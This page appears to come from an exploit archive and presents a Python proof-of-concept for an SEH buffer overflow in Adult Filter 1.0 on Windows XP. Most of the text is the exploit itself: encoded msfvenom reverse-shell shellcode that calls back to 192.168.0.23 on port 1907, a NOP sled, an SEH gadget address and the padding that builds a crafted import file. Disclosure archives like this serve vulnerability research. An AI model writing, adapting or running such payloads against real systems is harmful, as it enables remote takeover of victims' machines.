Adult filter 1.0 buffer overflow (seh) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-10-25 | Type : local | Platform : windows_x86

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[+] Code ...

# Exploit Title: Adult Filter 1.0 - Buffer Overflow (SEH)
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Discovery Date: 2018-10-25
# Homepage: http://www.armcode.com/adult-filter/
# Software Link: http://www.armcode.com/downloads/adult-filter.exe
# Version: 1.0
# Tested on: Windows XP Professional SP3 (ENG)
# Steps to Reproduce: Run the python exploit script, it will create a new file
# with the name "greetz-phr-key-onkan-cwd.txt".
# Start Adult Filter 1.0 click "Options" click "Black Domain List" click "Import"
# Select "greetz-cwd-onkan-key-phr.txt" and Click after select "name.txt" "OK" connect victim machine on port 1907

#!/usr/bin/python -w

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.23 LPORT=1907 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a"
# Payload size: 351 bytes

filename="greetz-cwd-onkan-key-phr.txt"
shellcode=("\xba\x80\xfe\xaf\x95\xda\xcb\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x52\x83\xee\xfc\x31\x56\x0e\x03\xd6\xf0\x4d\x60\x2a\xe4\x10"
"\x8b\xd2\xf5\x74\x05\x37\xc4\xb4\x71\x3c\x77\x05\xf1\x10\x74"
"\xee\x57\x80\x0f\x82\x7f\xa7\xb8\x29\xa6\x86\x39\x01\x9a\x89"
"\xb9\x58\xcf\x69\x83\x92\x02\x68\xc4\xcf\xef\x38\x9d\x84\x42"
"\xac\xaa\xd1\x5e\x47\xe0\xf4\xe6\xb4\xb1\xf7\xc7\x6b\xc9\xa1"
"\xc7\x8a\x1e\xda\x41\x94\x43\xe7\x18\x2f\xb7\x93\x9a\xf9\x89"
"\x5c\x30\xc4\x25\xaf\x48\x01\x81\x50\x3f\x7b\xf1\xed\x38\xb8"
"\x8b\x29\xcc\x5a\x2b\xb9\x76\x86\xcd\x6e\xe0\x4d\xc1\xdb\x66"
"\x09\xc6\xda\xab\x22\xf2\x57\x4a\xe4\x72\x23\x69\x20\xde\xf7"
"\x10\x71\xba\x56\x2c\x61\x65\x06\x88\xea\x88\x53\xa1\xb1\xc4"
"\x90\x88\x49\x15\xbf\x9b\x3a\x27\x60\x30\xd4\x0b\xe9\x9e\x23"
"\x6b\xc0\x67\xbb\x92\xeb\x97\x92\x50\xbf\xc7\x8c\x71\xc0\x83"
"\x4c\x7d\x15\x03\x1c\xd1\xc6\xe4\xcc\x91\xb6\x8c\x06\x1e\xe8"
"\xad\x29\xf4\x81\x44\xd0\x9f\x6d\x30\xda\x48\x06\x43\xda\x71"
"\xa5\xca\x3c\x17\x59\x9b\x97\x80\xc0\x86\x63\x30\x0c\x1d\x0e"
"\x72\x86\x92\xef\x3d\x6f\xde\xe3\xaa\x9f\x95\x59\x7c\x9f\x03"
"\xf5\xe2\x32\xc8\x05\x6c\x2f\x47\x52\x39\x81\x9e\x36\xd7\xb8"
"\x08\x24\x2a\x5c\x72\xec\xf1\x9d\x7d\xed\x74\x99\x59\xfd\x40"
"\x22\xe6\xa9\x1c\x75\xb0\x07\xdb\x2f\x72\xf1\xb5\x9c\xdc\x95"
"\x40\xef\xde\xe3\x4c\x3a\xa9\x0b\xfc\x93\xec\x34\x31\x74\xf9"
"\x4d\x2f\xe4\x06\x84\xeb\x04\xe5\x0c\x06\xad\xb0\xc5\xab\xb0"
"\x42\x30\xef\xcc\xc0\xb0\x90\x2a\xd8\xb1\x95\x77\x5e\x2a\xe4"
"\xe8\x0b\x4c\x5b\x08\x1e")

evil="\x90"*20 + shellcode

# Bad chars : "\x00\x0a\x0d\x1a"
# 0x03912524 [SetMgr.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: False | pop edi # pop esi # ret

b = "A"*4108 + "\xEB\x06\x90\x90" + "\x24\x25\x91\x03" + evil+ "B" * (1384-len(evil))

textfile = open (filename, 'w')

textfile.write(b)

textfile.close()